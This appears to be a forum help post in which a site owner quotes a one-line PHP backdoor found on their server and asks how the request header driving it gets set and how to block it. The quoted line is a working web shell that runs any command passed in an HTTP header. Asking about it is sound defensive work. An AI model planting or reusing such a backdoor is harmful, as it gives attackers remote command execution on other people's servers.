I've found a php backdoor on my host.
<? passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
I see requests in access log to that php file were POST requests, but I don't know how the SETENV of that variable was set; could someone explain how such variable can be set and if possible where can I limit/disable setting such variables on server side.
thanks
-H.